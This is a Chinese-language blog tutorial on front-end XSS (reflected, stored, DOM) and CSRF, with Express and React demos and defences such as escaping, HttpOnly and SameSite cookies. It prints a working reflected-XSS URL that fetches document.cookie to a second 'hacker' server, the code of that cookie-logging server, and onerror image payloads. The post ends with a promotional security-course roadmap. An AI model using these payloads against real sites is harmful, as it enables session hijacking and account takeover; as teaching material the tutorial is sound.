前端安全之XSS及CSRF

1 XSS

  • XSS全称叫跨站脚本攻击(Cross Site Scripting),目的是把script脚本注入到网页中在浏览器执行该脚本
1.1 反射型
  • 用express写个简单的api
const express = require("express");
const app = express();
app.get("/article", function (req, res) {const { type } = req.query;res.send(`您查询的文章类型是:${type}`);//根据url中的type参数返回
});
app.listen(4000, () => {console.log("listening http://localhost:4000");
}); 
  • 正常情况是这样的,在URL中传递查询参数type,后台处理后返回结果
  • 但是如果在URL传入script脚本
  • 这时候后台把结果返回到浏览器时会执行这个脚本,这就成功注入了script脚本,完成了一次反射型XSS攻击
  • 能成功执行注入的script脚本那就可以干很多事了,比如下面这个链接,他会获取当前点击用户的cookie然后发送到黑客的服务器上
http://localhost:4000/article?type=%3Cscript%3Efetch(`http://localhost:4001/cookie?cookie=${document.cookie}`)%3C/script%3E 
const express = require("express");
const app = express();
const app2 = express();
app.get("/article", function (req, res) {const { type } = req.query;res.send(`您查询的文章类型是:${type}`);
});
app.listen(4000, () => {console.log("listening http://localhost:4000");
});
app2.get("/cookie", function (req, res) {const { cookie } = req.query;console.log(`盗取的cookie:${cookie}`);res.send();
});
app2.listen(4001, () => {console.log("黑客网站盗取cookie listening http://localhost:4001");
}); 
  • 刷新URL发现服务器已经成功盗取了cookie,所以cookie要加上HttpOnly这样js就无法操作cookie了
  • 防御措施:后台把特殊符号转义再返回到前端
const express = require("express");
const app = express();
app.get("/article", function (req, res) {const { type } = req.query;res.send(`您查询的文章类型是:${encodeHTML(type)}`);
});
app.listen(4000, () => {console.log("listening http://localhost:4000");
});
function encodeHTML(str) {return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/'/g, "&apos;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
} 
1.2 存储型
  • 存储型和反射型的区别在于script脚本是否持久化保存到后台数据库,上面的反射型受害者只有点击那个带有恶意脚本链接的用户,但是存储型的因为恶意脚本被持久化保存到了数据库中,所以受害者将会是所有访问这个网站的用户;
  • 比如掘金网的评论区,我输入下面这段文字
  • 保存后掘金是会把这段文字保存到数据库中的,后面其他网友点击这篇文章的时候加载这些内容的时候,如果掘金网没有做防御的话那就是会执行这个脚本弹出alert,显然掘金后台应该是有做转义的,而且掘金页面是用Vue写的,Vue和React这些框架也都帮我们做了转义(v-html和dangerouslySetInnerHTML除外)
  • 防御措施:* 前端提交前进行校验过滤,如果包含恶意脚本则不提交,或者提交转义后的字符串* 后端接收后先校验过滤,如果包含恶意脚本则不存储到数据库,或者存储转义后的字符串* 前端渲染时候进行过滤,输出转义后的字符串
1.3 DOM型
  • 与上面两者不同,DOM型XSS不会和后台服务器产生任何关系,完全是前端的问题,是在页面DOM更新时把恶意脚本动态插入到HTML中执行了
  • 下面这段代码直接把input输入的内容用innerHTML插入到span中去了
<!DOCTYPE html>
<html lang="zh_CN">
<head><meta charset="utf-8" /><link rel="icon" href="%PUBLIC_URL%/favicon.ico" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>原始HTML</title>
</head>
<body><input id="input" type="text" placeholder="请输入" style="width:300px" /><button onclick="container.innerHTML = input.value">提交</button><div>你输入的是:<span id="container"></span></div>
</body>
</html> 
  • 但是如果我们插入的是恶意脚本内容,那就直接执行了这个恶意脚本
<img src="wrongUrl" onerror ="alert('XSS攻击')"> 
  • 注意简单的script标签在浏览器中是不会被执行的,因为HTML5中指定不执行由 innerHTML 插入的script标签
  • React的dangerouslySetInnerHTML测试
import React from "react";
import ReactDOM from "react-dom/client";
const htmlText = `
<span>test DOM XSS</span>
<script>alert('script')</script>
<img src="wrongUrl" onerror ="alert('DOM型XSS攻击')">
`;
function App() {return (<div>{htmlText}<pdangerouslySetInnerHTML={{__html: htmlText,}}></p></div>);
}
const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(<App />); 
  • 上面代码会alert,因为dangerouslySetInnerHTML背后React是调用innerHTML把htmlText这段内容插入到了p元素中,然后执行了恶意脚本alert('DOM型XSS攻击')
  • 可以看到页面div元素中渲染了htmlText的文字内容,因为react-dom在渲染前帮我们做了转义,在react-dom的源码中有个escapeHtml方法会把" ' & < >这5个字符在渲染到浏览器前进行转义
<img src="wrongUrl" onerror ="alert('DOM型XSS攻击')"> 
// 转义后
&lt;img src=&quot;wrongUrl&quot; onerror =&quot;alert(&#x27;DOM型XSS攻击&#x27;)&quot;&gt; 
  • 但是用dangerouslySetInnerHTML插入到p元素中的内容是没有经过转义的,所以会插入恶意脚本并执行
  • 防御措施:* 在使用innerHTML或者v-html,dangerouslySetInnerHTML等时先把特殊字符转义
import React from "react";
import ReactDOM from "react-dom/client";
const htmlText = `
<span>test DOM XSS</span>
<script>alert('script')</script>
<img src="wrongUrl" onerror ="alert('DOM型XSS攻击')">
`;
function App() {return (<div>{htmlText}<pdangerouslySetInnerHTML={{__html: encodeHTML(htmlText),}}></p></div>);
}
const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(<App />);

function encodeHTML(str) {return str.replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/'/g, "&apos;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
} 

2 CSRF

  • CSRF全称叫跨站请求伪造(Cross Site Request Forgery),目的是冒充用户做其他操作;
  • 比如我登录了掘金网,然后不小心点击了黑客的恶意链接,这个恶意链接里面的代码冒充我向掘金网提交了一条评论,因为请求会自动携带上cookie,所以可以在我毫不知情的情况下带着我登录后的 cookie通过掘金网的认证完成各种操作;
  • 防御措施:* 设置SameSite属性* Strict:跨站点不携带Cookie* Lax:相对宽松一点,在跨站点的情况下,从第三方站点的链接打开(导航到目标网址)或 Get 方式的表单提交这两种方式都会携带 Cookie;除此之外,如 Post 请求、 img、iframe 等加载的 URL,都不会携带 Cookie* None:最宽松,在任何情况下都会发送 Cookie 数据* 同源检测:后端验证Origin和Referer禁止外域或者不受信任的域名的请求* 在HTTP协议中,每一个异步请求都会携带两个Header,用于标记来源域名:* Referer Header:记录该请求的来源地址(含URL路径)* Origin Header:记录该请求的域名信息(不含URL路径)* 服务器先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值,看是否是同源请求* 后端添加Token验证(如常见的Bearer Token)* 前端一般会将Token字符串保存到localStorage中,因为浏览器只允许相同域名和端口访问相同的localStorage,所以不同担心其他网站窃取

github链接

网络安全基础入门需要学习哪些知识?

网络安全学习路线

这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4yFUmkD1-1676380405297)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑

阶段一:基础入门

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4EpJONGh-1676380405298)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

网络安全导论

渗透测试基础

网络基础

操作系统基础

Web安全基础

数据库基础

编程基础

CTF基础

该阶段学完即可年薪15w+

阶段二:技术进阶(到了这一步你才算入门)

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jDkYMgKs-1676380405299)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三:高阶提升

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XaKQlnsG-1676380405300)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

阶段四:蓝队课程

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cEjsBfXR-1676380405300)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

蓝队基础

蓝队进阶

该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。

攻防兼备,年薪收入可以达到40w+

阶段五:面试指南&阶段六:升级内容

img

需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容

同学们可以扫描下方二维码获取哦!
.png?t=0.5084107994384632" style=“margin: auto” />

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值